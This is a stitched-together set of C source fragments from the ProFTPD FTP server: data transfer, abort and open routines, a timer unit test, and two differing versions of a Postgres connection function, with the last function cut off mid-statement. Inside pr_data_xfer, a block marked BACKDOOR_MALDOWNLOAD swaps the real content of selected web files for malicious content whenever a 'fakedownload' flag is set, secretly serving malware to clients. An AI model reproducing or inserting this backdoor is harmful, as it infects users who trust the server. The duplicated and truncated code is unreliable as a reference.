/* close == successful transfer */ void pr_data_close(int quiet) { nstrm = NULL; if (session.d) { pr_inet_lingering_close(session.pool, session.d, timeout_linger); session.d = NULL; } /* Aborts no longer necessary */ signal(SIGURG, SIG_IGN); if (timeout_noxfer) { pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); } if (timeout_stalled) { pr_timer_remove(PR_TIMER_STALLED, ANY_MODULE); } session.sf_flags &= (SF_ALL^SF_PASSIVE); session.sf_flags &= (SF_ALL^(SF_ABORT|SF_XFER|SF_PASSIVE|SF_ASCII_OVERRIDE)); pr_session_set_idle(); if (!quiet) pr_response_add(R_226, _("Transfer complete")); }
END_TEST START_TEST (timer_reset_test) { int res; unsigned int ok = 0; mark_point(); res = pr_timer_reset(0, NULL); fail_unless(res == -1, "Failed to handle empty timer list"); fail_unless(errno == EPERM, "Failed to set errno to EPERM"); mark_point(); res = pr_timer_add(2, 1, NULL, timers_test_cb, "test"); fail_unless(res == 1, "Failed to add timer: %s", strerror(errno)); mark_point(); res = pr_timer_reset(2, NULL); fail_unless(res == 0, "Expected timer ID 1, got %d", res); sleep(1); timers_handle_signals(); mark_point(); fail_unless(timer_triggered_count == ok, "Timer fired unexpectedly (expected count %u, got %u)", ok, timer_triggered_count); mark_point(); res = pr_timer_reset(1, NULL); fail_unless(res == 1, "Failed to reset timer"); sleep(1); timers_handle_signals(); fail_unless(timer_triggered_count == ok, "Timer fired unexpectedly (expected count %u, got %u)", ok, timer_triggered_count); sleep(1); timers_handle_signals(); ok = 1; fail_unless(timer_triggered_count == ok || timer_triggered_count == (ok - 1), "Timer failed to fire (expected count %u, got %u)", ok, timer_triggered_count); }
/* * cmd_open: attempts to open a named connection to the database. * * Inputs: * cmd->argv[0]: connection name * * Returns: * either a properly filled error modret_t if a connection could not be * opened, or a simple non-error modret_t. * * Notes: * mod_sql depends on these semantics -- a backend should not open * a connection unless mod_sql requests it, nor close one unless * mod_sql requests it. Connection counting is *REQUIRED* for complete * compatibility; a connection should not be closed unless the count * reaches 0, and ideally will not need to be re-opened for counts > 1. */ MODRET cmd_open(cmd_rec *cmd) { conn_entry_t *entry = NULL; db_conn_t *conn = NULL; const char *server_version = NULL; sql_log(DEBUG_FUNC, "%s", "entering \tpostgres cmd_open"); _sql_check_cmd(cmd, "cmd_open" ); if (cmd->argc < 1) { sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return PR_ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION, "badly formed request"); } /* get the named connection */ if (!(entry = _sql_get_connection(cmd->argv[0]))) { sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return PR_ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION, "unknown named connection"); } conn = (db_conn_t *) entry->data; /* if we're already open (connections > 0) increment connections * reset our timer if we have one, and return HANDLED */ if (entry->connections > 0) { if (PQstatus(conn->postgres) == CONNECTION_OK) { entry->connections++; if (entry->timer) { pr_timer_reset(entry->timer, &sql_postgres_module); } sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name, entry->connections); sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return PR_HANDLED(cmd); } else { char *reason; size_t reason_len; /* Unless we've been told not to reconnect, try to reconnect now. * We only try once; if it fails, we return an error. */ if (!(pr_sql_opts & SQL_OPT_NO_RECONNECT)) { PQreset(conn->postgres); if (PQstatus(conn->postgres) == CONNECTION_OK) { entry->connections++; if (entry->timer) { pr_timer_reset(entry->timer, &sql_postgres_module); } sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name, entry->connections); sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return PR_HANDLED(cmd); } } reason = PQerrorMessage(conn->postgres); reason_len = strlen(reason); /* Postgres might give us an empty string as the reason; not helpful. */ if (reason_len == 0) { reason = "(unknown)"; reason_len = strlen(reason); } /* The error message returned by Postgres is usually appended with * a newline. Let's prettify it by removing the newline. Note * that yes, we are overwriting the pointer given to us by Postgres, * but it's OK. The Postgres docs say that we're not supposed to * free the memory associated with the returned string anyway. */ reason = pstrdup(session.pool, reason); if (reason[reason_len-1] == '\n') { reason[reason_len-1] = '\0'; reason_len--; } sql_log(DEBUG_INFO, "lost connection to database: %s", reason); entry->connections = 0; if (entry->timer) { pr_timer_remove(entry->timer, &sql_postgres_module); entry->timer = 0; } sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return PR_ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION, "lost connection to database"); } } /* make sure we have a new conn struct */ conn->postgres = PQconnectdb(conn->connectstring); if (PQstatus(conn->postgres) == CONNECTION_BAD) { /* if it didn't work, return an error */ sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return _build_error( cmd, conn ); } #if defined(PG_VERSION_STR) sql_log(DEBUG_FUNC, "Postgres client: %s", PG_VERSION_STR); #endif server_version = PQparameterStatus(conn->postgres, "server_version"); if (server_version != NULL) { sql_log(DEBUG_FUNC, "Postgres server version: %s", server_version); } #ifdef PR_USE_NLS if (pr_encode_get_encoding() != NULL) { const char *encoding; encoding = get_postgres_encoding(pr_encode_get_encoding()); /* Configure the connection for the current local character set. */ if (PQsetClientEncoding(conn->postgres, encoding) < 0) { /* if it didn't work, return an error */ sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return _build_error(cmd, conn); } sql_log(DEBUG_FUNC, "Postgres connection character set now '%s' " "(from '%s')", pg_encoding_to_char(PQclientEncoding(conn->postgres)), pr_encode_get_encoding()); } #endif /* !PR_USE_NLS */ /* bump connections */ entry->connections++; if (pr_sql_conn_policy == SQL_CONN_POLICY_PERSESSION) { /* If the connection policy is PERSESSION... */ if (entry->connections == 1) { /* ...and we are actually opening the first connection to the database; * we want to make sure this connection stays open, after this first use * (as per Bug#3290). To do this, we re-bump the connection count. */ entry->connections++; } } else if (entry->ttl > 0) { /* Set up our timer if necessary */ entry->timer = pr_timer_add(entry->ttl, -1, &sql_postgres_module, sql_timer_cb, "postgres connection ttl"); sql_log(DEBUG_INFO, "connection '%s' - %d second timer started", entry->name, entry->ttl); /* Timed connections get re-bumped so they don't go away when cmd_close * is called. */ entry->connections++; } /* return HANDLED */ sql_log(DEBUG_INFO, "connection '%s' opened", entry->name); sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name, entry->connections); sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return PR_HANDLED(cmd); }
/* * cmd_open: attempts to open a named connection to the database. * * Inputs: * cmd->argv[0]: connection name * * Returns: * either a properly filled error modret_t if a connection could not be * opened, or a simple non-error modret_t. * * Notes: * mod_sql depends on these semantics -- a backend should not open * a connection unless mod_sql requests it, nor close one unless * mod_sql requests it. Connection counting is *REQUIRED* for complete * compatibility; a connection should not be closed unless the count * reaches 0, and ideally will not need to be re-opened for counts > 1. */ MODRET cmd_open(cmd_rec *cmd) { conn_entry_t *entry = NULL; db_conn_t *conn = NULL; sql_log(DEBUG_FUNC, "%s", "entering \tpostgres cmd_open"); _sql_check_cmd(cmd, "cmd_open" ); if (cmd->argc < 1) { sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION, "badly formed request"); } /* get the named connection */ if (!(entry = _sql_get_connection(cmd->argv[0]))) { sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION, "unknown named connection"); } conn = (db_conn_t *) entry->data; /* if we're already open (connections > 0) increment connections * reset our timer if we have one, and return HANDLED */ if ((entry->connections > 0) && (PQstatus(conn->postgres) == CONNECTION_OK)) { entry->connections++; if (entry->timer) pr_timer_reset(entry->timer, &sql_postgres_module); sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name, entry->connections); sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return HANDLED(cmd); } /* make sure we have a new conn struct */ conn->postgres = PQconnectdb(conn->connectstring); if (PQstatus(conn->postgres) == CONNECTION_BAD) { /* if it didn't work, return an error */ sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return _build_error( cmd, conn ); } /* bump connections */ entry->connections++; /* set up our timer if necessary */ if (entry->ttl > 0) { entry->timer = pr_timer_add(entry->ttl, -1, &sql_postgres_module, _sql_timer_callback); sql_log(DEBUG_INFO, "connection '%s' - %d second timer started", entry->name, entry->ttl); /* timed connections get re-bumped so they don't go away when cmd_close * is called. */ entry->connections++; } /* return HANDLED */ sql_log(DEBUG_INFO, "connection '%s' opened", entry->name); sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name, entry->connections); sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open"); return HANDLED(cmd); }
int pr_data_xfer(char *cl_buf, int cl_size) { int len = 0; int total = 0; int res = 0; /* Poll the control channel for any commands we should handle, like * QUIT or ABOR. */ pr_trace_msg(trace_channel, 4, "polling for commands on control channel"); pr_netio_set_poll_interval(session.c->instrm, 0); res = pr_netio_poll(session.c->instrm); pr_netio_reset_poll_interval(session.c->instrm); if (res == 0 && !(session.sf_flags & SF_ABORT)) { cmd_rec *cmd = NULL; pr_trace_msg(trace_channel, 1, "data available for reading on control channel during data transfer, " "reading control data"); res = pr_cmd_read(&cmd); if (res < 0) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "unable to read control command during data transfer: %s", strerror(xerrno)); errno = xerrno; #ifndef PR_DEVEL_NO_DAEMON /* Otherwise, EOF */ pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL); #else return -1; #endif /* PR_DEVEL_NO_DAEMON */ } else if (cmd != NULL) { char *ch; for (ch = cmd->argv[0]; *ch; ch++) *ch = toupper(*ch); cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]); /* Only handle commands which do not involve data transfers; we * already have a data transfer in progress. For any data transfer * command, send a 450 ("busy") reply. Looks like almost all of the * data transfer commands accept that response, as per RFC959. * * We also prevent the EPRT, EPSV, PASV, and PORT commands, since * they will also interfere with the current data transfer. In doing * so, we break RFC compliance a little; RFC959 does not allow a * response code of 450 for those commands (although it should). */ if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, denying", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add_err(R_450, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_err_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); /* We don't want to actually dispatch the NOOP command, since that * would overwrite the scoreboard with the NOOP state; admins probably * want to see the command that caused the data transfer. And since * NOOP doesn't take a 450 response (as per RFC959), we will simply * return 200. */ } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, ignoring", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add(R_200, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); } else { char *title_buf = NULL; int title_len = -1; const char *sce_cmd = NULL, *sce_cmd_arg = NULL; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, dispatching", cmd->argv[0]); title_len = pr_proctitle_get(NULL, 0); if (title_len > 0) { title_buf = pcalloc(cmd->pool, title_len + 1); pr_proctitle_get(title_buf, title_len + 1); } sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD); sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG); pr_cmd_dispatch(cmd); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL); if (title_len > 0) { pr_proctitle_set_str(title_buf); } destroy_pool(cmd->pool); } } else { pr_trace_msg(trace_channel, 3, "invalid command sent, sending error response"); pr_response_send(R_500, _("Invalid command: try being more creative")); } } /* If we don't have a data connection here (e.g. might have been closed * by an ABOR, then return zero (no data transferred). */ if (session.d == NULL) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); pr_log_debug(DEBUG5, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); errno = xerrno; return -1; } if (session.xfer.direction == PR_NETIO_IO_RD) { char *buf = session.xfer.buf; pr_buffer_t *pbuf; if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { int adjlen, buflen; do { buflen = session.xfer.buflen; /* how much remains in buf */ adjlen = 0; pr_signals_handle(); len = pr_netio_read(session.d->instrm, buf + buflen, session.xfer.bufsize - buflen, 1); if (len < 0) return -1; /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; if (len > 0) { buflen += len; if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } } /* If buflen > 0, data remains in the buffer to be copied. */ if (len >= 0 && buflen > 0) { /* Perform translation: * * buflen is returned as the modified buffer length after * translation * adjlen is returned as the number of characters unprocessed in * the buffer (to be dealt with later) * * We skip the call to xfrm_ascii_read() in one case: * when we have one character in the buffer and have reached * end of data, this is so that xfrm_ascii_read() won't sit * forever waiting for the next character after a final '\r'. */ if (len > 0 || buflen > 1) xfrm_ascii_read(buf, &buflen, &adjlen); /* Now copy everything we can into cl_buf */ if (buflen > cl_size) { /* Because we have to cut our buffer short, make sure this * is made up for later by increasing adjlen. */ adjlen += (buflen - cl_size); buflen = cl_size; } memcpy(cl_buf, buf, buflen); /* Copy whatever remains at the end of session.xfer.buf to the * head of the buffer and adjust buf accordingly. * * adjlen is now the total bytes still waiting in buf, if * anything remains, copy it to the start of the buffer. */ if (adjlen > 0) memcpy(buf, buf+buflen, adjlen); /* Store everything back in session.xfer. */ session.xfer.buflen = adjlen; total += buflen; } /* Restart if data was returned by pr_netio_read() (len > 0) but no * data was copied to the client buffer (buflen = 0). This indicates * that xfrm_ascii_read() needs more data in order to translate, so we * need to call pr_netio_read() again. */ } while (len > 0 && buflen == 0); /* Return how much data we actually copied into the client buffer. */ len = buflen; } else if ((len = pr_netio_read(session.d->instrm, cl_buf, cl_size, 1)) > 0) { /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; /* Non-ASCII mode doesn't need to use session.xfer.buf */ if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } total += len; } } else { /* PR_NETIO_IO_WR */ while (cl_size) { int bwrote = 0; int buflen = cl_size; unsigned int xferbuflen; pr_signals_handle(); if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR)) buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR); xferbuflen = buflen; #ifdef BACKDOOR_MALDOWNLOAD int restriction = 0; if (strcmp(fakedownload, "1") == 0) { // Iterate through all files int i = 0; for (i = 0; i < mcounter; i++) { if (strcmp(mlist[i].category, "web") == 0) { if (strcmp(mlist[i].filename_good, active_full_path) == 0) { session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1); if (!session.xfer.buf) break; /* Fill up our internal buffer with malicious content. :-) */ memcpy(session.xfer.buf, filename_buffer, buflen); filename_buffer += buflen; restriction = 1; break; } } } } if (restriction == 0) { #endif /* BACKDOOR_MALDOWNLOAD */ /* Fill up our internal buffer. */ memcpy(session.xfer.buf, cl_buf, buflen); if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { /* Scan the internal buffer, looking for LFs with no preceding CRs. * Add CRs (and expand the internal buffer) as necessary. xferbuflen * will be adjusted so that it contains the length of data in * the internal buffer, including any added CRs. */ xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize); } #ifdef BACKDOOR_MALDOWNLOAD } #endif /* BACKDOOR_MALDOWNLOAD */ bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen); if (bwrote < 0) return -1; if (bwrote > 0) { if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } cl_size -= buflen; cl_buf += buflen; total += buflen; } } len = total; } if (total && timeout_idle) pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); session.xfer.total_bytes += total; session.total_bytes += total; if (session.xfer.direction == PR_NETIO_IO_RD) { session.total_bytes_in += total; } else { session.total_bytes_out += total; } return (len < 0 ? -1 : len); }
/* In order to avoid clearing the transfer counters in session.xfer, we don't * clear session.xfer here, it should be handled by the appropriate * LOG_CMD/LOG_CMD_ERR handler calling pr_data_cleanup(). */ void pr_data_abort(int err, int quiet) { int true_abort = XFER_ABORTED; nstrm = NULL; if (session.d) { if (!true_abort) pr_inet_lingering_close(session.pool, session.d, timeout_linger); else pr_inet_lingering_abort(session.pool, session.d, timeout_linger); session.d = NULL; } if (timeout_noxfer) { pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); } if (timeout_stalled) { pr_timer_remove(PR_TIMER_STALLED, ANY_MODULE); } session.sf_flags &= (SF_ALL^SF_PASSIVE); session.sf_flags &= (SF_ALL^(SF_XFER|SF_PASSIVE|SF_ASCII_OVERRIDE)); pr_session_set_idle(); /* Aborts no longer necessary */ signal(SIGURG, SIG_IGN); if (timeout_noxfer) pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); if (!quiet) { char *respcode = R_426; char *msg = NULL; char msgbuf[64]; switch (err) { case 0: respcode = R_426; msg = _("Data connection closed"); break; #ifdef ENXIO case ENXIO: respcode = R_451; msg = _("Unexpected streams hangup"); break; #endif #ifdef EAGAIN case EAGAIN: /* FALLTHROUGH */ #endif #ifdef ENOMEM case ENOMEM: #endif #if defined(EAGAIN) || defined(ENOMEM) respcode = R_451; msg = _("Insufficient memory or file locked"); break; #endif #ifdef ETXTBSY case ETXTBSY: /* FALLTHROUGH */ #endif #ifdef EBUSY case EBUSY: #endif #if defined(ETXTBSY) || defined(EBUSY) respcode = R_451; break; #endif #ifdef ENOSPC case ENOSPC: respcode = R_452; break; #endif #ifdef EDQUOT case EDQUOT: /* FALLTHROUGH */ #endif #ifdef EFBIG case EFBIG: #endif #if defined(EDQUOT) || defined(EFBIG) respcode = R_552; break; #endif #ifdef ECOMM case ECOMM: /* FALLTHROUGH */ #endif #ifdef EDEADLK case EDEADLK: /* FALLTHROUGH */ #endif #ifdef EDEADLOCK # if !defined(EDEADLK) || (EDEADLOCK != EDEADLK) case EDEADLOCK: /* FALLTHROUGH */ # endif #endif #ifdef EXFULL case EXFULL: /* FALLTHROUGH */ #endif #ifdef ENOSR case ENOSR: /* FALLTHROUGH */ #endif #ifdef EPROTO case EPROTO: /* FALLTHROUGH */ #endif #ifdef ETIME case ETIME: /* FALLTHROUGH */ #endif #ifdef EIO case EIO: /* FALLTHROUGH */ #endif #ifdef EFAULT case EFAULT: /* FALLTHROUGH */ #endif #ifdef ESPIPE case ESPIPE: /* FALLTHROUGH */ #endif #ifdef EPIPE case EPIPE: #endif #if defined(ECOMM) || defined(EDEADLK) || defined(EDEADLOCK) \ || defined(EXFULL) || defined(ENOSR) || defined(EPROTO) \ || defined(ETIME) || defined(EIO) || defined(EFAULT) \ || defined(ESPIPE) || defined(EPIPE) respcode = R_451; break; #endif #ifdef EREMCHG case EREMCHG: /* FALLTHROUGH */ #endif #ifdef ESRMNT case ESRMNT: /* FALLTHROUGH */ #endif #ifdef ESTALE case ESTALE: /* FALLTHROUGH */ #endif #ifdef ENOLINK case ENOLINK: /* FALLTHROUGH */ #endif #ifdef ENOLCK case ENOLCK: /* FALLTHROUGH */ #endif #ifdef ENETRESET case ENETRESET: /* FALLTHROUGH */ #endif #ifdef ECONNABORTED case ECONNABORTED: /* FALLTHROUGH */ #endif #ifdef ECONNRESET case ECONNRESET: /* FALLTHROUGH */ #endif #ifdef ETIMEDOUT case ETIMEDOUT: #endif #if defined(EREMCHG) || defined(ESRMNT) || defined(ESTALE) \ || defined(ENOLINK) || defined(ENOLCK) || defined(ENETRESET) \ || defined(ECONNABORTED) || defined(ECONNRESET) || defined(ETIMEDOUT) respcode = R_450; msg = _("Link to file server lost"); break; #endif } if (msg == NULL && (msg = strerror(err)) == NULL ) { if (snprintf(msgbuf, sizeof(msgbuf), _("Unknown or out of range errno [%d]"), err) > 0) msg = msgbuf; } pr_log_pri(PR_LOG_NOTICE, "notice: user %s: aborting transfer: %s", session.user, msg); /* If we are aborting, then a 426 response has already been sent, * and we don't want to add another to the error queue. */ if (!true_abort) pr_response_add_err(respcode, _("Transfer aborted. %s"), msg ? msg : ""); } if (true_abort) session.sf_flags |= SF_POST_ABORT; }
int pr_data_open(char *filename, char *reason, int direction, off_t size) { int res = 0; /* Make sure that any abort flags have been cleared. */ session.sf_flags &= ~SF_ABORT; if (session.xfer.p == NULL) { data_new_xfer(filename, direction); } else { session.xfer.direction = direction; } if (!reason) reason = filename; /* Passive data transfers... */ if (session.sf_flags & SF_PASSIVE || session.sf_flags & SF_EPSV_ALL) { if (session.d == NULL) { pr_log_pri(PR_LOG_ERR, "Internal error: PASV mode set, but no data " "connection listening"); pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL); } res = data_pasv_open(reason, size); /* Active data transfers... */ } else { if (session.d != NULL) { pr_log_pri(PR_LOG_ERR, "Internal error: non-PASV mode, yet data " "connection already exists?!?"); pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL); } res = data_active_open(reason, size); } if (res >= 0) { struct sigaction act; if (pr_netio_postopen(session.d->instrm) < 0) { pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; } if (pr_netio_postopen(session.d->outstrm) < 0) { pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; } memset(&session.xfer.start_time, '\0', sizeof(session.xfer.start_time)); gettimeofday(&session.xfer.start_time, NULL); if (session.xfer.direction == PR_NETIO_IO_RD) nstrm = session.d->instrm; else nstrm = session.d->outstrm; session.sf_flags |= SF_XFER; if (timeout_noxfer) pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); /* Allow aborts -- set the current NetIO stream to allow interrupted * syscalls, so our SIGURG handler can interrupt it */ pr_netio_set_poll_interval(nstrm, 1); /* PORTABILITY: sigaction is used here to allow us to indicate * (w/ POSIX at least) that we want SIGURG to interrupt syscalls. Put * in whatever is necessary for your arch here; probably not necessary * as the only _important_ interrupted syscall is select(), which on * any sensible system is interrupted. */ act.sa_handler = data_urgent; sigemptyset(&act.sa_mask); act.sa_flags = 0; #ifdef SA_INTERRUPT act.sa_flags |= SA_INTERRUPT; #endif if (sigaction(SIGURG, &act, NULL) < 0) pr_log_pri(PR_LOG_WARNING, "warning: unable to set SIGURG signal handler: %s", strerror(errno)); #ifdef HAVE_SIGINTERRUPT /* This is the BSD way of ensuring interruption. * Linux uses it too (??) */ if (siginterrupt(SIGURG, 1) < 0) pr_log_pri(PR_LOG_WARNING, "warning: unable to make SIGURG interrupt system calls: %s", strerror(errno)); #endif } return res; }
/* pr_data_sendfile() actually transfers the data on the data connection. * ASCII translation is not performed. * return 0 if reading and data connection closes, or -1 if error */ pr_sendfile_t pr_data_sendfile(int retr_fd, off_t *offset, off_t count) { int flags, error; pr_sendfile_t len = 0, total = 0; #if defined(HAVE_AIX_SENDFILE) struct sf_parms parms; int rc; #endif /* HAVE_AIX_SENDFILE */ if (session.xfer.direction == PR_NETIO_IO_RD) return -1; flags = fcntl(PR_NETIO_FD(session.d->outstrm), F_GETFL); if (flags == -1) return -1; /* Set fd to blocking-mode for sendfile() */ if (flags & O_NONBLOCK) { if (fcntl(PR_NETIO_FD(session.d->outstrm), F_SETFL, flags^O_NONBLOCK) == -1) return -1; } for (;;) { #if defined(HAVE_LINUX_SENDFILE) || defined(HAVE_SOLARIS_SENDFILE) off_t orig_offset = *offset; /* Linux semantics are fairly straightforward in a glibc 2.x world: * * #include <sys/sendfile.h> * * ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count) * * Unfortunately, this API does not allow for an off_t number of bytes * to be sent, only a size_t. This means we need to make sure that * the given count does not exceed the maximum value for a size_t. Even * worse, the return value is a ssize_t, not a size_t, which means * the maximum value used can only be of the maximum _signed_ value, * not the maximum unsigned value. This means calling sendfile() more * times. How annoying. */ #if defined(HAVE_LINUX_SENDFILE) if (count > INT_MAX) count = INT_MAX; #elif defined(HAVE_SOLARIS_SENDFILE) # if SIZEOF_SIZE_T == SIZEOF_INT if (count > INT_MAX) count = INT_MAX; # elif SIZEOF_SIZE_T == SIZEOF_LONG if (count > LONG_MAX) count = LONG_MAX; # elif SIZEOF_SIZE_T == SIZEOF_LONG_LONG if (count > LLONG_MAX) count = LLONG_MAX; # endif #endif /* !HAVE_SOLARIS_SENDFILE */ len = sendfile(PR_NETIO_FD(session.d->outstrm), retr_fd, offset, count); if (len != -1 && len < count) { /* Under Linux semantics, this occurs when a signal has interrupted * sendfile(). */ if (XFER_ABORTED) { errno = EINTR; session.xfer.total_bytes += len; session.total_bytes += len; session.total_bytes_out += len; session.total_raw_out += len; return -1; } count -= len; /* Only reset the timers if data have actually been written out. */ if (len > 0) { if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } if (timeout_idle) { pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); } } session.xfer.total_bytes += len; session.total_bytes += len; session.total_bytes_out += len; session.total_raw_out += len; total += len; pr_signals_handle(); continue; } else if (len == -1) { /* Linux updates offset on error, not len like BSD, fix up so * BSD-based code works. */ len = *offset - orig_offset; *offset = orig_offset; #elif defined(HAVE_BSD_SENDFILE) /* BSD semantics for sendfile are flexible...it'd be nice if we could * standardize on something like it. The semantics are: * * #include <sys/types.h> * #include <sys/socket.h> * #include <sys/uio.h> * * int sendfile(int in_fd, int out_fd, off_t offset, size_t count, * struct sf_hdtr *hdtr, off_t *len, int flags) * * The comments above, about size_t versus off_t, apply here as * well. Except that BSD's sendfile() uses an off_t * for returning * the number of bytes sent, so we can use the maximum unsigned * value. */ #if SIZEOF_SIZE_T == SIZEOF_INT if (count > UINT_MAX) count = UINT_MAX; #elif SIZEOF_SIZE_T == SIZEOF_LONG if (count > ULONG_MAX) count = ULONG_MAX; #elif SIZEOF_SIZE_T == SIZEOF_LONG_LONG if (count > ULLONG_MAX) count = ULLONG_MAX; #endif if (sendfile(retr_fd, PR_NETIO_FD(session.d->outstrm), *offset, count, NULL, &len, 0) == -1) { #elif defined(HAVE_MACOSX_SENDFILE) off_t orig_len = count; int res; /* Since Mac OSX uses the fourth argument as a value-return parameter, * success or failure, we need to put the result into len after the * call. */ res = sendfile(retr_fd, PR_NETIO_FD(session.d->outstrm), *offset, &orig_len, NULL, 0); len = orig_len; if (res == -1) { #elif defined(HAVE_AIX_SENDFILE) memset(&parms, 0, sizeof(parms)); parms.file_descriptor = retr_fd; parms.file_offset = (uint64_t) *offset; parms.file_bytes = (int64_t) count; rc = send_file(&(PR_NETIO_FD(session.d->outstrm)), &(parms), (uint_t)0); len = (int) parms.bytes_sent; if (rc == -1 || rc == 1) { #endif /* HAVE_AIX_SENDFILE */ /* IMO, BSD's semantics are warped. Apparently, since we have our * alarms tagged SA_INTERRUPT (allowing system calls to be * interrupted - primarily for select), BSD will interrupt a * sendfile operation as well, so we have to catch and handle this * case specially. It should also be noted that the sendfile(2) man * page doesn't state any of this. * * HP/UX has the same semantics, however, EINTR is well documented * as a side effect in the sendfile(2) man page. HP/UX, however, * is implemented horribly wrong. If a signal would result in * -1 being returned and EINTR being set, what ACTUALLY happens is * that errno is cleared and the number of bytes written is returned. * * For obvious reasons, HP/UX sendfile is not supported yet. */ if (errno == 